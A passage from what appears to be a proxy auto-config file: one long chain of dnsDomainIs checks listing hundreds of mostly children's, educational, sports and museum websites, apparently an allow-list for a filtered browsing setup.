dnsDomainIs(host, "www.ababmx.com") || dnsDomainIs(host, "www.abbeville.com") || dnsDomainIs(host, "www.abc.net.au") || dnsDomainIs(host, "www.abcb.com") || dnsDomainIs(host, "www.abctooncenter.com") || dnsDomainIs(host, "www.about.ch") || dnsDomainIs(host, "www.accessart.org.uk") || dnsDomainIs(host, "www.accu.or.jp") || dnsDomainIs(host, "www.accuweather.com") || dnsDomainIs(host, "www.achuka.co.uk") || dnsDomainIs(host, "www.acmecity.com") || dnsDomainIs(host, "www.acorn-group.com") || dnsDomainIs(host, "www.acs.ucalgary.ca") || dnsDomainIs(host, "www.actden.com") || dnsDomainIs(host, "www.actionplanet.com") || dnsDomainIs(host, "www.activityvillage.co.uk") || dnsDomainIs(host, "www.actwin.com") || dnsDomainIs(host, "www.adequate.com") || dnsDomainIs(host, "www.adidas.com") || dnsDomainIs(host, "www.advent-calendars.com") || dnsDomainIs(host, "www.aegis.com") || dnsDomainIs(host, "www.af.mil") || dnsDomainIs(host, "www.africaindex.africainfo.no") || dnsDomainIs(host, "www.africam.com") || dnsDomainIs(host, "www.africancrafts.com") || dnsDomainIs(host, "www.aggressive.com") || dnsDomainIs(host, "www.aghines.com") || dnsDomainIs(host, "www.agirlsworld.com") || dnsDomainIs(host, "www.agora.stm.it") || dnsDomainIs(host, "www.agriculture.com") || dnsDomainIs(host, "www.aikidofaq.com") || dnsDomainIs(host, "www.ajkids.com") || dnsDomainIs(host, "www.akfkoala.gil.com.au") || dnsDomainIs(host, "www.akhlah.com") || dnsDomainIs(host, "www.alabamainfo.com") || dnsDomainIs(host, "www.aland.fi") || dnsDomainIs(host, "www.albion.com") || dnsDomainIs(host, "www.alcoholismhelp.com") || dnsDomainIs(host, "www.alcottweb.com") || dnsDomainIs(host, "www.alfanet.it") || dnsDomainIs(host, "www.alfy.com") || dnsDomainIs(host, "www.algebra-online.com") || dnsDomainIs(host, "www.alienexplorer.com") || dnsDomainIs(host, "www.aliensatschool.com") || dnsDomainIs(host, "www.all-links.com") || dnsDomainIs(host, "www.alldetroit.com") || dnsDomainIs(host, "www.allexperts.com") || dnsDomainIs(host, "www.allmixedup.com") || dnsDomainIs(host, "www.allmusic.com") || dnsDomainIs(host, "www.almanac.com") || dnsDomainIs(host, "www.almaz.com") || dnsDomainIs(host, "www.almondseed.com") || dnsDomainIs(host, "www.aloha.com") || dnsDomainIs(host, "www.aloha.net") || dnsDomainIs(host, "www.altonweb.com") || dnsDomainIs(host, "www.alyeska-pipe.com") || dnsDomainIs(host, "www.am-wood.com") || dnsDomainIs(host, "www.amazingadventure.com") || dnsDomainIs(host, "www.amazon.com") || dnsDomainIs(host, "www.americancheerleader.com") || dnsDomainIs(host, "www.americancowboy.com") || dnsDomainIs(host, "www.americangirl.com") || dnsDomainIs(host, "www.americanparknetwork.com") || dnsDomainIs(host, "www.americansouthwest.net") || dnsDomainIs(host, "www.americanwest.com") || dnsDomainIs(host, "www.ameritech.net") || dnsDomainIs(host, "www.amtexpo.com") || dnsDomainIs(host, "www.anbg.gov.au") || dnsDomainIs(host, "www.anc.org.za") || dnsDomainIs(host, "www.ancientegypt.co.uk") || dnsDomainIs(host, "www.angelfire.com") || dnsDomainIs(host, "www.angelsbaseball.com") || dnsDomainIs(host, "www.anholt.co.uk") || dnsDomainIs(host, "www.animabets.com") || dnsDomainIs(host, "www.animalnetwork.com") || dnsDomainIs(host, "www.animalpicturesarchive.com") || dnsDomainIs(host, "www.anime-genesis.com") || dnsDomainIs(host, "www.annefrank.com") || dnsDomainIs(host, "www.annefrank.nl") || dnsDomainIs(host, "www.annie75.com") || dnsDomainIs(host, "www.antbee.com") || dnsDomainIs(host, "www.antiquetools.com") || dnsDomainIs(host, "www.antiquetoy.com") || dnsDomainIs(host, "www.anzsbeg.org.au") || dnsDomainIs(host, "www.aol.com") || dnsDomainIs(host, "www.aone.com") || dnsDomainIs(host, "www.aphids.com") || dnsDomainIs(host, "www.apl.com") || dnsDomainIs(host, "www.aplusmath.com") || dnsDomainIs(host, "www.applebookshop.co.uk") || dnsDomainIs(host, "www.appropriatesoftware.com") || dnsDomainIs(host, "www.appukids.com") || dnsDomainIs(host, "www.april-joy.com") || dnsDomainIs(host, "www.arab.net") || dnsDomainIs(host, "www.aracnet.com") || dnsDomainIs(host, "www.arborday.com") || dnsDomainIs(host, "www.arcadevillage.com") || dnsDomainIs(host, "www.archiecomics.com") || dnsDomainIs(host, "www.archives.state.al.us") || dnsDomainIs(host, "www.arctic.ca") || dnsDomainIs(host, "www.ardenjohnson.com") || dnsDomainIs(host, "www.aristotle.net") || dnsDomainIs(host, "www.arizhwys.com") || dnsDomainIs(host, "www.arizonaguide.com") || dnsDomainIs(host, "www.arlingtoncemetery.com") || dnsDomainIs(host, "www.armory.com") || dnsDomainIs(host, "www.armwrestling.com") || dnsDomainIs(host, "www.arnprior.com") || dnsDomainIs(host, "www.artabunga.com") || dnsDomainIs(host, "www.artcarte.com") || dnsDomainIs(host, "www.artchive.com") || dnsDomainIs(host, "www.artcontest.com") || dnsDomainIs(host, "www.artcyclopedia.com") || dnsDomainIs(host, "www.artisandevelopers.com") || dnsDomainIs(host, "www.artlex.com") || dnsDomainIs(host, "www.artsandkids.com") || dnsDomainIs(host, "www.artyastro.com") || dnsDomainIs(host, "www.arwhead.com") || dnsDomainIs(host, "www.asahi-net.or.jp") || dnsDomainIs(host, "www.asap.unimelb.edu.au") || dnsDomainIs(host, "www.ascpl.lib.oh.us") || dnsDomainIs(host, "www.asia-art.net") || dnsDomainIs(host, "www.asiabigtime.com") || dnsDomainIs(host, "www.asianart.com") || dnsDomainIs(host, "www.asiatour.com") || dnsDomainIs(host, "www.asiaweek.com") || dnsDomainIs(host, "www.askanexpert.com") || dnsDomainIs(host, "www.askbasil.com") || dnsDomainIs(host, "www.assa.org.au") || dnsDomainIs(host, "www.ast.cam.ac.uk") || dnsDomainIs(host, "www.astronomy.com") || dnsDomainIs(host, "www.astros.com") || dnsDomainIs(host, "www.atek.com") || dnsDomainIs(host, "www.athlete.com") || dnsDomainIs(host, "www.athropolis.com") || dnsDomainIs(host, "www.atkielski.com") || dnsDomainIs(host, "www.atlantabraves.com") || dnsDomainIs(host, "www.atlantafalcons.com") || dnsDomainIs(host, "www.atlantathrashers.com") || dnsDomainIs(host, "www.atlanticus.com") || dnsDomainIs(host, "www.atm.ch.cam.ac.uk") || dnsDomainIs(host, "www.atom.co.jp") || dnsDomainIs(host, "www.atomicarchive.com") || dnsDomainIs(host, "www.att.com") || dnsDomainIs(host, "www.audreywood.com") || dnsDomainIs(host, "www.auntannie.com") || dnsDomainIs(host, "www.auntie.com") || dnsDomainIs(host, "www.avi-writer.com") || dnsDomainIs(host, "www.awesomeclipartforkids.com") || dnsDomainIs(host, "www.awhitehorse.com") || dnsDomainIs(host, "www.axess.com") || dnsDomainIs(host, "www.ayles.com") || dnsDomainIs(host, "www.ayn.ca") || dnsDomainIs(host, "www.azcardinals.com") || dnsDomainIs(host, "www.azdiamondbacks.com") || dnsDomainIs(host, "www.azsolarcenter.com") || dnsDomainIs(host, "www.azstarnet.com") || dnsDomainIs(host, "www.aztecafoods.com") || dnsDomainIs(host, "www.b-witched.com") || dnsDomainIs(host, "www.baberuthmuseum.com") || dnsDomainIs(host, "www.backstreetboys.com") || dnsDomainIs(host, "www.bagheera.com") || dnsDomainIs(host, "www.bahamas.com") || dnsDomainIs(host, "www.baileykids.com") || dnsDomainIs(host, "www.baldeagleinfo.com") || dnsDomainIs(host, "www.balloonhq.com") || dnsDomainIs(host, "www.balloonzone.com") || dnsDomainIs(host, "www.ballparks.com") || dnsDomainIs(host, "www.balmoralsoftware.com") || dnsDomainIs(host, "www.banja.com") || dnsDomainIs(host, "www.banph.com") || dnsDomainIs(host, "www.barbie.com") || dnsDomainIs(host, "www.barkingbuddies.com") || dnsDomainIs(host, "www.barnsdle.demon.co.uk") || dnsDomainIs(host, "www.barrysclipart.com") || dnsDomainIs(host, "www.bartleby.com") || dnsDomainIs(host, "www.baseplate.com") || dnsDomainIs(host, "www.batman-superman.com") || dnsDomainIs(host, "www.batmanbeyond.com") || dnsDomainIs(host, "www.bbc.co.uk") || dnsDomainIs(host, "www.bbhighway.com") || dnsDomainIs(host, "www.bboy.com") || dnsDomainIs(host, "www.bcit.tec.nj.us") || dnsDomainIs(host, "www.bconnex.net") || dnsDomainIs(host, "www.bcpl.net") || dnsDomainIs(host, "www.beach-net.com") || dnsDomainIs(host, "www.beachboys.com") || dnsDomainIs(host, "www.beakman.com") || dnsDomainIs(host, "www.beano.co.uk") || dnsDomainIs(host, "www.beans.demon.co.uk") || dnsDomainIs(host, "www.beartime.com") || dnsDomainIs(host, "www.bearyspecial.co.uk") || dnsDomainIs(host, "www.bedtime.com") || dnsDomainIs(host, "www.beingme.com") || dnsDomainIs(host, "www.belizeexplorer.com") || dnsDomainIs(host, "www.bell-labs.com") || dnsDomainIs(host, "www.bemorecreative.com") || dnsDomainIs(host, "www.bengals.com") || dnsDomainIs(host, "www.benjerry.com") || dnsDomainIs(host, "www.bennygoodsport.com") || dnsDomainIs(host, "www.berenstainbears.com") || dnsDomainIs(host, "www.beringia.com") || dnsDomainIs(host, "www.beritsbest.com") || dnsDomainIs(host, "www.berksweb.com") || dnsDomainIs(host, "www.best.com") || dnsDomainIs(host, "www.betsybyars.com") || dnsDomainIs(host, "www.bfro.net") || dnsDomainIs(host, "www.bgmm.com") || dnsDomainIs(host, "www.bibliography.com") || dnsDomainIs(host, "www.bigblue.com.au") || dnsDomainIs(host, "www.bigchalk.com") || dnsDomainIs(host, "www.bigidea.com") || dnsDomainIs(host, "www.bigtop.com") || dnsDomainIs(host, "www.bikecrawler.com") || dnsDomainIs(host, "www.billboard.com") || dnsDomainIs(host, "www.billybear4kids.com") || dnsDomainIs(host, "www.biography.com") || dnsDomainIs(host, "www.birdnature.com") || dnsDomainIs(host, "www.birdsnways.com") || dnsDomainIs(host, "www.birdtimes.com") || dnsDomainIs(host, "www.birminghamzoo.com") || dnsDomainIs(host, "www.birthdaypartyideas.com") || dnsDomainIs(host, "www.bis.arachsys.com") || dnsDomainIs(host, "www.bkgm.com") || dnsDomainIs(host, "www.blackbaseball.com") || dnsDomainIs(host, "www.blackbeardthepirate.com") || dnsDomainIs(host, "www.blackbeltmag.com") || dnsDomainIs(host, "www.blackfacts.com") || dnsDomainIs(host, "www.blackfeetnation.com") || dnsDomainIs(host, "www.blackhills-info.com") || dnsDomainIs(host, "www.blackholegang.com") || dnsDomainIs(host, "www.blaque.net") || dnsDomainIs(host, "www.blarg.net") || dnsDomainIs(host, "www.blasternaut.com") || dnsDomainIs(host, "www.blizzard.com") || dnsDomainIs(host, "www.blocksite.com") || dnsDomainIs(host, "www.bluejackets.com") || dnsDomainIs(host, "www.bluejays.ca") || dnsDomainIs(host, "www.bluemountain.com") || dnsDomainIs(host, "www.blupete.com") || dnsDomainIs(host, "www.blyton.co.uk") || dnsDomainIs(host, "www.boatnerd.com") || dnsDomainIs(host, "www.boatsafe.com") || dnsDomainIs(host, "www.bonus.com") || dnsDomainIs(host, "www.boowakwala.com") || dnsDomainIs(host, "www.bostonbruins.com") || dnsDomainIs(host, "www.braceface.com") || dnsDomainIs(host, "www.bracesinfo.com") || dnsDomainIs(host, "www.bradkent.com") || dnsDomainIs(host, "www.brainium.com") || dnsDomainIs(host, "www.brainmania.com") || dnsDomainIs(host, "www.brainpop.com") || dnsDomainIs(host, "www.bridalcave.com") || dnsDomainIs(host, "www.brightmoments.com") || dnsDomainIs(host, "www.britannia.com") || dnsDomainIs(host, "www.britannica.com") || dnsDomainIs(host, "www.british-museum.ac.uk") || dnsDomainIs(host, "www.brookes.ac.uk") || dnsDomainIs(host, "www.brookfieldreader.com") || dnsDomainIs(host, "www.btinternet.com") || dnsDomainIs(host, "www.bubbledome.co.nz") || dnsDomainIs(host, "www.buccaneers.com") || dnsDomainIs(host, "www.buffy.com") || dnsDomainIs(host, "www.bullying.co.uk") || dnsDomainIs(host, "www.bumply.com") || dnsDomainIs(host, "www.bungi.com") || dnsDomainIs(host, "www.burlco.lib.nj.us") || dnsDomainIs(host, "www.burlingamepezmuseum.com") || dnsDomainIs(host, "www.bus.ualberta.ca") || dnsDomainIs(host, "www.busprod.com") || dnsDomainIs(host, "www.butlerart.com") || dnsDomainIs(host, "www.butterflies.com") || dnsDomainIs(host, "www.butterflyfarm.co.cr") || dnsDomainIs(host, "www.bway.net") || dnsDomainIs(host, "www.bydonovan.com") || dnsDomainIs(host, "www.ca-mall.com") || dnsDomainIs(host, "www.cabinessence.com") || dnsDomainIs(host, "www.cablecarmuseum.com") || dnsDomainIs(host, "www.cadbury.co.uk") || dnsDomainIs(host, "www.calendarzone.com") || dnsDomainIs(host, "www.calgaryflames.com") || dnsDomainIs(host, "www.californiamissions.com") || dnsDomainIs(host, "www.camalott.com") || dnsDomainIs(host, "www.camelotintl.com") || dnsDomainIs(host, "www.campbellsoup.com") || dnsDomainIs(host, "www.camvista.com") || dnsDomainIs(host, "www.canadiens.com") || dnsDomainIs(host, "www.canals.state.ny.us") || dnsDomainIs(host, "www.candlelightstories.com") || dnsDomainIs(host, "www.candles-museum.com") || dnsDomainIs(host, "www.candystand.com") || dnsDomainIs(host, "www.caneshockey.com") || dnsDomainIs(host, "www.canismajor.com") || dnsDomainIs(host, "www.canucks.com") || dnsDomainIs(host, "www.capecod.net") || dnsDomainIs(host, "www.capital.net") || dnsDomainIs(host, "www.capstonestudio.com") || dnsDomainIs(host, "www.cardblvd.com") || dnsDomainIs(host, "www.caro.net") || dnsDomainIs(host, "www.carolhurst.com") || dnsDomainIs(host, "www.carr.lib.md.us") || dnsDomainIs(host, "www.cartooncorner.com") || dnsDomainIs(host, "www.cartooncritters.com") || dnsDomainIs(host, "www.cartoonnetwork.com") || dnsDomainIs(host, "www.carvingpatterns.com") || dnsDomainIs(host, "www.cashuniversity.com") || dnsDomainIs(host, "www.castles-of-britain.com") || dnsDomainIs(host, "www.castlewales.com") || dnsDomainIs(host, "www.catholic-forum.com") || dnsDomainIs(host, "www.catholic.net") || dnsDomainIs(host, "www.cattle.guelph.on.ca") || dnsDomainIs(host, "www.cavedive.com") || dnsDomainIs(host, "www.caveofthewinds.com") || dnsDomainIs(host, "www.cbc4kids.ca") || dnsDomainIs(host, "www.ccer.ggl.ruu.nl") || dnsDomainIs(host, "www.ccnet.com") || dnsDomainIs(host, "www.celineonline.com") || dnsDomainIs(host, "www.cellsalive.com") || dnsDomainIs(host, "www.centuryinshoes.com") || dnsDomainIs(host, "www.cfl.ca") || dnsDomainIs(host, "www.channel4.com") || dnsDomainIs(host, "www.channel8.net") || dnsDomainIs(host, "www.chanukah99.com") || dnsDomainIs(host, "www.charged.com") || dnsDomainIs(host, "www.chargers.com") || dnsDomainIs(host, "www.charlotte.com") || dnsDomainIs(host, "www.chaseday.com") || dnsDomainIs(host, "www.chateauversailles.fr") || dnsDomainIs(host, "www.cheatcc.com") || dnsDomainIs(host, "www.cheerleading.net") || dnsDomainIs(host, "www.cheese.com") || dnsDomainIs(host, "www.chem4kids.com") || dnsDomainIs(host, "www.chemicool.com") || dnsDomainIs(host, "www.cherbearsden.com") || dnsDomainIs(host, "www.chesskids.com") || dnsDomainIs(host, "www.chessvariants.com") || dnsDomainIs(host, "www.cheungswingchun.com") || dnsDomainIs(host, "www.chevroncars.com") || dnsDomainIs(host, "www.chibi.simplenet.com") || dnsDomainIs(host, "www.chicagobears.com") || dnsDomainIs(host, "www.chicagoblackhawks.com") || dnsDomainIs(host, "www.chickasaw.net") || dnsDomainIs(host, "www.childrensmusic.co.uk") || dnsDomainIs(host, "www.childrenssoftware.com") || dnsDomainIs(host, "www.childrenstory.com") || dnsDomainIs(host, "www.childrenwithdiabetes.com") || dnsDomainIs(host, "www.chinapage.com") || dnsDomainIs(host, "www.chinatoday.com") || dnsDomainIs(host, "www.chinavista.com") || dnsDomainIs(host, "www.chinnet.net") || dnsDomainIs(host, "www.chiquita.com") || dnsDomainIs(host, "www.chisox.com") || dnsDomainIs(host, "www.chivalry.com") || dnsDomainIs(host, "www.christiananswers.net") || dnsDomainIs(host, "www.christianity.com") || dnsDomainIs(host, "www.christmas.com") || dnsDomainIs(host, "www.christmas98.com") || dnsDomainIs(host, "www.chron.com") || dnsDomainIs(host, "www.chronique.com") || dnsDomainIs(host, "www.chuckecheese.com") || dnsDomainIs(host, "www.chucklebait.com") || dnsDomainIs(host, "www.chunkymonkey.com") || dnsDomainIs(host, "www.ci.chi.il.us") || dnsDomainIs(host, "www.ci.nyc.ny.us") || dnsDomainIs(host, "www.ci.phoenix.az.us") || dnsDomainIs(host, "www.ci.san-diego.ca.us") || dnsDomainIs(host, "www.cibc.com") || dnsDomainIs(host, "www.ciderpresspottery.com") || dnsDomainIs(host, "www.cincinnatireds.com") || dnsDomainIs(host, "www.circusparade.com") || dnsDomainIs(host, "www.circusweb.com") || dnsDomainIs(host, "www.cirquedusoleil.com") || dnsDomainIs(host, "www.cit.state.vt.us") || dnsDomainIs(host, "www.citycastles.com") || dnsDomainIs(host, "www.cityu.edu.hk") || dnsDomainIs(host, "www.civicmind.com") || dnsDomainIs(host, "www.civil-war.net") || dnsDomainIs(host, "www.civilization.ca") || dnsDomainIs(host, "www.cl.cam.ac.uk") || dnsDomainIs(host, "www.clantongang.com") || dnsDomainIs(host, "www.clark.net") || dnsDomainIs(host, "www.classicgaming.com") || dnsDomainIs(host, "www.claus.com") || dnsDomainIs(host, "www.clayz.com") || dnsDomainIs(host, "www.clearcf.uvic.ca") || dnsDomainIs(host, "www.clearlight.com") || dnsDomainIs(host, "www.clemusart.com") || dnsDomainIs(host, "www.clevelandbrowns.com") || dnsDomainIs(host, "www.clipartcastle.com") || dnsDomainIs(host, "www.clubi.ie") || dnsDomainIs(host, "www.cnn.com") || dnsDomainIs(host, "www.co.henrico.va.us") || dnsDomainIs(host, "www.coax.net") || dnsDomainIs(host, "www.cocacola.com") || dnsDomainIs(host, "www.cocori.com") || dnsDomainIs(host, "www.codesmiths.com") || dnsDomainIs(host, "www.codetalk.fed.us") || dnsDomainIs(host, "www.coin-gallery.com") || dnsDomainIs(host, "www.colinthompson.com") || dnsDomainIs(host, "www.collectoronline.com") || dnsDomainIs(host, "www.colonialhall.com") || dnsDomainIs(host, "www.coloradoavalanche.com") || dnsDomainIs(host, "www.coloradorockies.com") || dnsDomainIs(host, "www.colormathpink.com") || dnsDomainIs(host, "www.colts.com") || dnsDomainIs(host, "www.comet.net") || dnsDomainIs(host, "www.cometsystems.com") || dnsDomainIs(host, "www.comicbookresources.com") || dnsDomainIs(host, "www.comicspage.com") || dnsDomainIs(host, "www.compassnet.com") || dnsDomainIs(host, "www.compleatbellairs.com") || dnsDomainIs(host, "www.comptons.com") || dnsDomainIs(host, "www.concentric.net") || dnsDomainIs(host, "www.congogorillaforest.com") || dnsDomainIs(host, "www.conjuror.com") || dnsDomainIs(host, "www.conk.com") || dnsDomainIs(host, "www.conservation.state.mo.us") || dnsDomainIs(host, "www.contracostatimes.com") || dnsDomainIs(host, "www.control.chalmers.se") || dnsDomainIs(host, "www.cookierecipe.com") || dnsDomainIs(host, "www.cooljapanesetoys.com") || dnsDomainIs(host, "www.cooper.com") || dnsDomainIs(host, "www.corpcomm.net") || dnsDomainIs(host, "www.corrietenboom.com") || dnsDomainIs(host, "www.corynet.com") || dnsDomainIs(host, "www.corypaints.com") || dnsDomainIs(host, "www.cosmosmith.com") || dnsDomainIs(host, "www.countdown2000.com") || dnsDomainIs(host, "www.cowboy.net") || dnsDomainIs(host, "www.cowboypal.com") || dnsDomainIs(host, "www.cowcreek.com") || dnsDomainIs(host, "www.cowgirl.net") || dnsDomainIs(host, "www.cowgirls.com") || dnsDomainIs(host, "www.cp.duluth.mn.us") || dnsDomainIs(host, "www.cpsweb.com") || dnsDomainIs(host, "www.craftideas.com") || dnsDomainIs(host, "www.craniamania.com") || dnsDomainIs(host, "www.crater.lake.national-park.com") || dnsDomainIs(host, "www.crayoncrawler.com") || dnsDomainIs(host, "www.crazybone.com") || dnsDomainIs(host, "www.crazybones.com") || dnsDomainIs(host, "www.crd.ge.com") || dnsDomainIs(host, "www.create4kids.com") || dnsDomainIs(host, "www.creativemusic.com") || dnsDomainIs(host, "www.crocodilian.com") || dnsDomainIs(host, "www.crop.cri.nz") || dnsDomainIs(host, "www.cruzio.com") || dnsDomainIs(host, "www.crwflags.com") || dnsDomainIs(host, "www.cryptograph.com") || dnsDomainIs(host, "www.cryst.bbk.ac.uk") || dnsDomainIs(host, "www.cs.bilkent.edu.tr") || dnsDomainIs(host, "www.cs.man.ac.uk") || dnsDomainIs(host, "www.cs.sfu.ca") || dnsDomainIs(host, "www.cs.ubc.ca") || dnsDomainIs(host, "www.csd.uu.se") || dnsDomainIs(host, "www.csmonitor.com") || dnsDomainIs(host, "www.csse.monash.edu.au") || dnsDomainIs(host, "www.cstone.net") || dnsDomainIs(host, "www.csu.edu.au") || dnsDomainIs(host, "www.cubs.com") || dnsDomainIs(host, "www.culture.fr") || dnsDomainIs(host, "www.cultures.com") || dnsDomainIs(host, "www.curtis-collection.com") || dnsDomainIs(host, "www.cut-the-knot.com") || dnsDomainIs(host, "www.cws-scf.ec.gc.ca") || dnsDomainIs(host, "www.cyber-dyne.com") || dnsDomainIs(host, "www.cyberbee.com") || dnsDomainIs(host, "www.cyberbee.net") || dnsDomainIs(host, "www.cybercom.net") || dnsDomainIs(host, "www.cybercomm.net") || dnsDomainIs(host, "www.cybercomm.nl") || dnsDomainIs(host, "www.cybercorp.co.nz") || dnsDomainIs(host, "www.cybercs.com") || dnsDomainIs(host, "www.cybergoal.com") || dnsDomainIs(host, "www.cyberkids.com") || dnsDomainIs(host, "www.cyberspaceag.com") || dnsDomainIs(host, "www.cyberteens.com") || dnsDomainIs(host, "www.cybertours.com") || dnsDomainIs(host, "www.cybiko.com") || dnsDomainIs(host, "www.czweb.com") || dnsDomainIs(host, "www.d91.k12.id.us") || dnsDomainIs(host, "www.dailygrammar.com") || dnsDomainIs(host, "www.dakidz.com") || dnsDomainIs(host, "www.dalejarrettonline.com") || dnsDomainIs(host, "www.dallascowboys.com") || dnsDomainIs(host, "www.dallasdogndisc.com") || dnsDomainIs(host, "www.dallasstars.com") || dnsDomainIs(host, "www.damnyankees.com") || dnsDomainIs(host, "www.danceart.com") || dnsDomainIs(host, "www.daniellesplace.com") || dnsDomainIs(host, "www.dare-america.com") || dnsDomainIs(host, "www.darkfish.com") || dnsDomainIs(host, "www.darsbydesign.com") || dnsDomainIs(host, "www.datadragon.com") || dnsDomainIs(host, "www.davidreilly.com") || dnsDomainIs(host, "www.dccomics.com") || dnsDomainIs(host, "www.dcn.davis.ca.us") || dnsDomainIs(host, "www.deepseaworld.com") || dnsDomainIs(host, "www.delawaretribeofindians.nsn.us") || dnsDomainIs(host, "www.demon.co.uk") || dnsDomainIs(host, "www.denverbroncos.com") || dnsDomainIs(host, "www.denverpost.com") || dnsDomainIs(host, "www.dep.state.pa.us") || dnsDomainIs(host, "www.desert-fairy.com") || dnsDomainIs(host, "www.desert-storm.com") || dnsDomainIs(host, "www.desertusa.com") || dnsDomainIs(host, "www.designltd.com") || dnsDomainIs(host, "www.designsbykat.com") || dnsDomainIs(host, "www.detnews.com") || dnsDomainIs(host, "www.detroitlions.com") || dnsDomainIs(host, "www.detroitredwings.com") || dnsDomainIs(host, "www.detroittigers.com") || dnsDomainIs(host, "www.deutsches-museum.de") || dnsDomainIs(host, "www.devilray.com") || dnsDomainIs(host, "www.dhorse.com") || dnsDomainIs(host, "www.diana-ross.co.uk") || dnsDomainIs(host, "www.dianarossandthesupremes.net") || dnsDomainIs(host, "www.diaryproject.com") || dnsDomainIs(host, "www.dickbutkus.com") || dnsDomainIs(host, "www.dickshovel.com") || dnsDomainIs(host, "www.dictionary.com") || dnsDomainIs(host, "www.didyouknow.com") || dnsDomainIs(host, "www.diegorivera.com") || dnsDomainIs(host, "www.digitalcentury.com") || dnsDomainIs(host, "www.digitaldog.com") || dnsDomainIs(host, "www.digiweb.com") || dnsDomainIs(host, "www.dimdima.com") || dnsDomainIs(host, "www.dinodon.com") || dnsDomainIs(host, "www.dinosauria.com") || dnsDomainIs(host, "www.discovereso.com") || dnsDomainIs(host, "www.discovergalapagos.com") || dnsDomainIs(host, "www.discovergames.com") || dnsDomainIs(host, "www.discoveringarchaeology.com") || dnsDomainIs(host, "www.discoveringmontana.com") || dnsDomainIs(host, "www.discoverlearning.com") || dnsDomainIs(host, "www.discovery.com") || dnsDomainIs(host, "www.disknet.com") || dnsDomainIs(host, "www.disney.go.com") || dnsDomainIs(host, "www.distinguishedwomen.com") || dnsDomainIs(host, "www.dkonline.com") || dnsDomainIs(host, "www.dltk-kids.com") || dnsDomainIs(host, "www.dmgi.com") || dnsDomainIs(host, "www.dnr.state.md.us") || dnsDomainIs(host, "www.dnr.state.mi.us") || dnsDomainIs(host, "www.dnr.state.wi.us") || dnsDomainIs(host, "www.dodgers.com") || dnsDomainIs(host, "www.dodoland.com") || dnsDomainIs(host, "www.dog-play.com") || dnsDomainIs(host, "www.dogbreedinfo.com") || dnsDomainIs(host, "www.doginfomat.com") || dnsDomainIs(host, "www.dole5aday.com") || dnsDomainIs(host, "www.dollart.com") || dnsDomainIs(host, "www.dolliedish.com") || dnsDomainIs(host, "www.dome2000.co.uk") || dnsDomainIs(host, "www.domtar.com") || dnsDomainIs(host, "www.donegal.k12.pa.us") || dnsDomainIs(host, "www.dorneypark.com") || dnsDomainIs(host, "www.dorothyhinshawpatent.com") || dnsDomainIs(host, "www.dougweb.com") || dnsDomainIs(host, "www.dps.state.ak.us") || dnsDomainIs(host, "www.draw3d.com") || dnsDomainIs(host, "www.dreamgate.com") || dnsDomainIs(host, "www.dreamkitty.com") || dnsDomainIs(host, "www.dreamscape.com") || dnsDomainIs(host, "www.dreamtime.net.au") || dnsDomainIs(host, "www.drpeppermuseum.com") || dnsDomainIs(host, "www.drscience.com") || dnsDomainIs(host, "www.drseward.com") || dnsDomainIs(host, "www.drtoy.com") || dnsDomainIs(host, "www.dse.nl") || dnsDomainIs(host, "www.dtic.mil") || dnsDomainIs(host, "www.duracell.com") || dnsDomainIs(host, "www.dustbunny.com") || dnsDomainIs(host, "www.dynanet.com") || dnsDomainIs(host, "www.eagerreaders.com") || dnsDomainIs(host, "www.eaglekids.com") || dnsDomainIs(host, "www.earthcalendar.net") || dnsDomainIs(host, "www.earthday.net") || dnsDomainIs(host, "www.earthdog.com") || dnsDomainIs(host, "www.earthwatch.com") || dnsDomainIs(host, "www.ease.com") || dnsDomainIs(host, "www.eastasia.ws") || dnsDomainIs(host, "www.easytype.com") || dnsDomainIs(host, "www.eblewis.com") || dnsDomainIs(host, "www.ebs.hw.ac.uk") || dnsDomainIs(host, "www.eclipse.net") || dnsDomainIs(host, "www.eco-pros.com") || dnsDomainIs(host, "www.edbydesign.com") || dnsDomainIs(host, "www.eddytheeco-dog.com") || dnsDomainIs(host, "www.edgate.com") || dnsDomainIs(host, "www.edmontonoilers.com") || dnsDomainIs(host, "www.edu-source.com") || dnsDomainIs(host, "www.edu.gov.on.ca") || dnsDomainIs(host, "www.edu4kids.com") || dnsDomainIs(host, "www.educ.uvic.ca") || dnsDomainIs(host, "www.educate.org.uk") || dnsDomainIs(host, "www.education-world.com") || dnsDomainIs(host, "www.edunet.com") || dnsDomainIs(host, "www.eduplace.com") || dnsDomainIs(host, "www.edupuppy.com") || dnsDomainIs(host, "www.eduweb.com") || dnsDomainIs(host, "www.ee.ryerson.ca") || dnsDomainIs(host, "www.ee.surrey.ac.uk") || dnsDomainIs(host, "www.eeggs.com") || dnsDomainIs(host, "www.efes.com") || dnsDomainIs(host, "www.egalvao.com") || dnsDomainIs(host, "www.egypt.com") || dnsDomainIs(host, "www.egyptology.com") || dnsDomainIs(host, "www.ehobbies.com") || dnsDomainIs(host, "www.ehow.com") || dnsDomainIs(host, "www.eia.brad.ac.uk") || dnsDomainIs(host, "www.elbalero.gob.mx") || dnsDomainIs(host, "www.eliki.com") || dnsDomainIs(host, "www.elnino.com") || dnsDomainIs(host, "www.elok.com") || dnsDomainIs(host, "www.emf.net") || dnsDomainIs(host, "www.emsphone.com") || dnsDomainIs(host, "www.emulateme.com") || dnsDomainIs(host, "www.en.com") || dnsDomainIs(host, "www.enature.com") || dnsDomainIs(host, "www.enchantedlearning.com") || dnsDomainIs(host, "www.encyclopedia.com") || dnsDomainIs(host, "www.endex.com") || dnsDomainIs(host, "www.enjoyillinois.com") || dnsDomainIs(host, "www.enn.com") || dnsDomainIs(host, "www.enriqueig.com") || dnsDomainIs(host, "www.enteract.com") || dnsDomainIs(host, "www.epals.com") || dnsDomainIs(host, "www.equine-world.co.uk") || dnsDomainIs(host, "www.eric-carle.com") || dnsDomainIs(host, "www.ericlindros.net") || dnsDomainIs(host, "www.escape.com") || dnsDomainIs(host, "www.eskimo.com") || dnsDomainIs(host, "www.essentialsofmusic.com") || dnsDomainIs(host, "www.etch-a-sketch.com") || dnsDomainIs(host, "www.ethanallen.together.com") || dnsDomainIs(host, "www.etoys.com") || dnsDomainIs(host, "www.eurekascience.com") || dnsDomainIs(host, "www.euronet.nl") || dnsDomainIs(host, "www.everyrule.com") || dnsDomainIs(host, "www.ex.ac.uk") || dnsDomainIs(host, "www.excite.com") || dnsDomainIs(host, "www.execpc.com") || dnsDomainIs(host, "www.execulink.com") || dnsDomainIs(host, "www.exn.net") || dnsDomainIs(host, "www.expa.hvu.nl") || dnsDomainIs(host, "www.expage.com") || dnsDomainIs(host, "www.explode.to") || dnsDomainIs(host, "www.explorescience.com") || dnsDomainIs(host, "www.explorezone.com") || 